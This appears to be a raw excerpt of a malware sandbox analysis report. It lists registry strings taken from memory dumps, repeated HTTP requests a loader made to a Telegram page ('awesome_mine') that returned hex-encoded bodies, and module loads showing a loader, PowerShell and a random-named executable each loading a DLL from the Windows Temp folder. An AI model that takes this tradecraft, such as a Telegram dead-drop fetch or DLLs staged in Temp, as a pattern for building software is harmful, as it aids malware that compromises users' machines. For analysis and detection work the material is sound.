Source: 00000000-00005928.00000002.296725.1722A000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00005928.00000002.296725.1722A000.00000002.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00005928.00000002.296725.1722A000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00005928.00000002.296725.1722A000.00000002.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00005928.00000002.296725.1722A000.00000002.mdmp "HKLM\" in Source: 00000000-00005928.00000002.296725.1722A000.00000002.mdmp "Software\Microsoft\RemovalTools\MRT" in Source: 00000000-00005928.00000002.296725.1722A000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005928.00000002.296725.E2760000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005928.00000002.296725.E2760000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00005928.00000002.296725.E2760000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00007308.00000000.287253.2ABD3000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00007308.00000000.287253.2ABD3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00007308.00000000.287253.2ABD3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00007308.00000000.287253.2ABD3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00007308.00000000.287253.2ABD3000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00007308.00000000.287253.2ABD3000.00000002.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00007308.00000000.287253.EFD20000.00000004.mdmp "stry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00007308.00000000.287253.EFD20000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007308.00000000.287253.EFD20000.00000004.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00007308.00000001.288339.31943000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00007308.00000001.288339.31943000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00007308.00000001.288339.31943000.00000002.mdmp "stry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00007308.00000001.288339.EFDD9000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007308.00000001.288339.EFDD9000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00007308.00000001.288339.F2210000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007308.00000001.288339.F2210000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007308.00000001.288339.F2210000.00000004.mdmp "y\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates" in Source: 00000000-00007632.00000002.290322.CC220000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00008248.00000001.292762.4E207000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008248.00000001.292762.4E207000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008248.00000001.292762.4E207000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008248.00000001.292762.4E207000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008248.00000001.292762.68552000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008248.00000001.292762.68552000.00000004.mdmp3f:T8a2,"GET /awesome_mine HTTP/1.1 Connection: Keep-Alive Host: t.me" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun 04 Jan 2026 17:51:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12348 Connection: keep-alive Set-Cookie: stel_ssid=8cc25d5e3ee6882f8d_15987252416090934714; expires=Mon 05 Jan 2026 17:51:30 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>33633A32313A34343A34663A34333A35343A35393A35303A34353A32303A36383A37343A36643A36633A33653A30613A33633A36383A37343A36643A36633A33....... "GET /awesome_mine HTTP/1.1 Connection: Keep-Alive Host: t.me" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun 04 Jan 2026 17:51:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12346 Connection: keep-alive Set-Cookie: stel_ssid=802f632b49cc203254_5043416114054680072; expires=Mon 05 Jan 2026 17:51:30 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>33633A32313A34343A34663A34333A35343A35393A35303A34353A32303A36383A37343A36643A36633A33653A30613A33633A36383A37343A36643A36633A33....... "GET /awesome_mine HTTP/1.1 Connection: Keep-Alive Host: t.me" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun 04 Jan 2026 17:51:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12347 Connection: keep-alive Set-Cookie: stel_ssid=e0f32e7788689ecb8d_9242787185593871026; expires=Mon 05 Jan 2026 17:51:30 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>33633A32313A34343A34663A34333A35343A35393A35303A34353A32303A36383A37343A36643A36633A33653A30613A33633A36383A37343A36643A36633A33.......40:T5c4c,"Loader.exe" loaded module "KERNEL32" at base 7ff940590000 "Loader.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ff93f6d0000 "Loader.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ff93f6d0000 "Loader.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ff93f6d0000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ff940b80000 "Loader.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff93f6d0000 "Loader.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff93f6d0000 "Loader.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff93f6d0000 "Loader.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff917bb0000 "Loader.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 7ff93fe70000 "Loader.exe" loaded module "NTDLL.DLL" at base 7ff9422b0000 "Loader.exe" loaded module "POWRPROF.DLL" at base 7ff93f5a0000 "Loader.exe" loaded module "KERNEL32.DLL" at base 7ff940590000 "Loader.exe" loaded module "WS2_32.DLL" at base 7ff9401e0000 "Loader.exe" loaded module "KERNELBASE" at base 7ff93f6d0000 "Loader.exe" loaded module "IPHLPAPI.DLL" at base 7ff93e240000 "Loader.exe" loaded module "RPCRT4.DLL" at base 7ff941ff0000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff93eb90000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff9367c0000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff937a30000 "Loader.exe" loaded module "CRYPT32.DLL" at base 7ff93fa80000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff93e690000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff93fe70000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ff93cb60000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff93f6d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff93f6d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff93f6d0000 "powershell.exe" loaded module "KERNEL32" at base 7ff940590000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff917bb0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff940590000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff942110000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff915e90000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ff940680000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff93e720000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff9359c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff900ef0000 "powershell.exe" loaded module "USER32.DLL" at base 7ff940ee0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff93f6d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff917aa0000 "powershell.exe" loaded module "NTDLL" at base 7ff9422b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff9407e0000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ff940ed0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff941ff0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\3B9003E4F27D92E40668F0EFAD11E022\MSCORLIB.NI.DLL" at base 7ff8ff930000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 7ff941090000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff9407e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff940260000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\CE0FD4F5B50BAA17E7B80E4EE874AD11\SYSTEM.NI.DLL" at base 7ff8fed10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\990501E6199819806F01C8ECAC88BAAC\SYSTEM.CORE.NI.DLL" at base 7ff8fe280000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\86AF2F4F2745738837C95F24472C32CA\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff915740000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff93e690000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff93fe70000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\EA893D7E336A196C927C3F1251A1D1A9\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ff8fc200000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff9407e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff9407e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff9422b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 7ff941230000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 7ff93eec0000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff93fbf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff917ca0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff93fa80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ff917c80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ff916c00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PWRSHSIP.DLL" at base 7ff930130000 "powershell.exe" loaded module "AMSI.DLL" at base 7ff931990000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff9359c0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 7ff931910000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ff93fa80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff9149f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MKNCGS6B.DLL" at base 7ff916b90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base 7ff8fb950000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\F4889FA032F8023FE280A54700D6D3A5\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff914950000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff9146f0000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ff93efb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff913180000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\VERSION.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base 7ff8fafc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff8fac50000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff93f6d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff913b20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\49750EA038273F75321E479EF1525D1E\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff915e20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff914610000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff915d70000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 7ff934930000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ff93e970000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff93cd00000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPCLIENT.DLL" at base 7ff917160000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff940590000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff942110000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ff9407e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\468FA5AE84991AAF4D90ECEE8788F024\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff8f9f30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\B4C34523C582146DEA3CA389E3487145\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff917c40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\3C82A5286B5172D5A68C8DF2E09C4C40\SYSTEM.DRAWING.NI.DLL" at base 7ff911700000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\BEE998043EB1E9BADECD282A79540A5E\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ff8f8e40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 2def27d0000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 7ff940730000 "powershell.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 7ff940ee0000 "powershell.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 7ff940ee0000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-SYSTEMFUNCTIONS-L1-1-0" at base 7ff942110000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 7ff941090000 "806964ff31e2acc80.exe" loaded module "KERNEL32" at base 7ff940590000 "806964ff31e2acc80.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ff93f6d0000 "806964ff31e2acc80.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ff93f6d0000 "806964ff31e2acc80.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ff93f6d0000 "806964ff31e2acc80.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ff940b80000 "806964ff31e2acc80.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff93f6d0000 "806964ff31e2acc80.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff93f6d0000 "806964ff31e2acc80.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff93f6d0000 "806964ff31e2acc80.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff91a7e0000 "806964ff31e2acc80.exe" loaded module "MSASN1.DLL" at base 7ff93ee50000 "806964ff31e2acc80.exe" loaded module "KERNEL32.DLL" at base 7ff940590000 "806964ff31e2acc80.exe" loaded module "CERTCA.DLL" at base 7ff92aea0000 "806964ff31e2acc80.exe" loaded module "DMIME.DLL" at base 0 "806964ff31e2acc80.exe" loaded module "LZ32.DLL" at base 20c3ddd0000 "806964ff31e2acc80.exe" loaded module "MSSIP32.DLL" at base 7ff93cc70000 "806964ff31e2acc80.exe" loaded module "NEWDEV.DLL" at base 7ff91b220000 "806964ff31e2acc80.exe" loaded module "FLTLIB.DLL" at base 7ff924430000 "806964ff31e2acc80.exe" loaded module "MSWSOCK.DLL" at base 7ff93eb90000 "806964ff31e2acc80.exe" loaded module "USER32.DLL" at base 7ff940ee0000 "806964ff31e2acc80.exe" loaded module "GDIPLUS.DLL" at base 7ff92c590000 "806964ff31e2acc80.exe" loaded module "UXTHEME.DLL" at base 7ff93cd00000 "806964ff31e2acc80.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0.DLL" at base 7ff93f6d0000 "806964ff31e2acc80.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 7ff93fe70000 "806964ff31e2acc80.exe" loaded module "ADVAPI32.DLL" at base 7ff942110000 "806964ff31e2acc80.exe" loaded module "BCRYPT.DLL" at base 7ff93efb0000 "806964ff31e2acc80.exe" loaded module "GDI32.DLL" at base 7ff9400b0000 "806964ff31e2acc80.exe" loaded module "WS2_32.DLL" at base 7ff9401e0000 "806964ff31e2acc80.exe" loaded module "NTDLL.DLL" at base 7ff9422b0000 "806964ff31e2acc80.exe" loaded module "IMM32.DLL" at base 7ff940b80000 "806964ff31e2acc80.exe" loaded module "MSHTMLED.DLL" at base 7ff936f70000 "806964ff31e2acc80.exe" loaded module "MMDEVAPI.DLL" at base 7ff937030000 "806964ff31e2acc80.exe" loaded module "MFPLAT.DLL" at base 7ff92afb0000 "806964ff31e2acc80.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-2" at base 7ff93f6d0000 "806964ff31e2acc80.exe" loaded module "KERNELBASE" at base 7ff93f6d0000 "806964ff31e2acc80.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff93cd00000 "806964ff31e2acc80.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ff93cb60000 "806964ff31e2acc80.exe" loaded module "RPCRT4.DLL" at base 7ff941ff0000 "806964ff31e2acc80.exe" loaded module "SSPICLI.DLL" at base 7ff93e970000 "806964ff31e2acc80.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff93eb90000 "806964ff31e2acc80.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff9367c0000 "806964ff31e2acc80.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff937a30000 "806964ff31e2acc80.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff93fe70000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff91a7e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff917a70000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff904700000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff917d10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\3B9003E4F27D92E40668F0EFAD11E022\MSCORLIB.NI.DLL" at base 7ff903140000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\CE0FD4F5B50BAA17E7B80E4EE874AD11\SYSTEM.NI.DLL" at base 7ff902520000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\990501E6199819806F01C8ECAC88BAAC\SYSTEM.CORE.NI.DLL" at base 7ff901a90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\86AF2F4F2745738837C95F24472C32CA\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff915fe0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\EA893D7E336A196C927C3F1251A1D1A9\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ff8ffa10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff930130000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ff91b250000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ff9197c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PWRSHSIP.DLL" at base 7ff93cc40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MKNCGS6B.DLL" at base 7ff917cc0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\F4889FA032F8023FE280A54700D6D3A5\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff915f40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff915780000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff914f40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base 7ff8ff160000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff914dd0000 "powershell.exe" loaded module 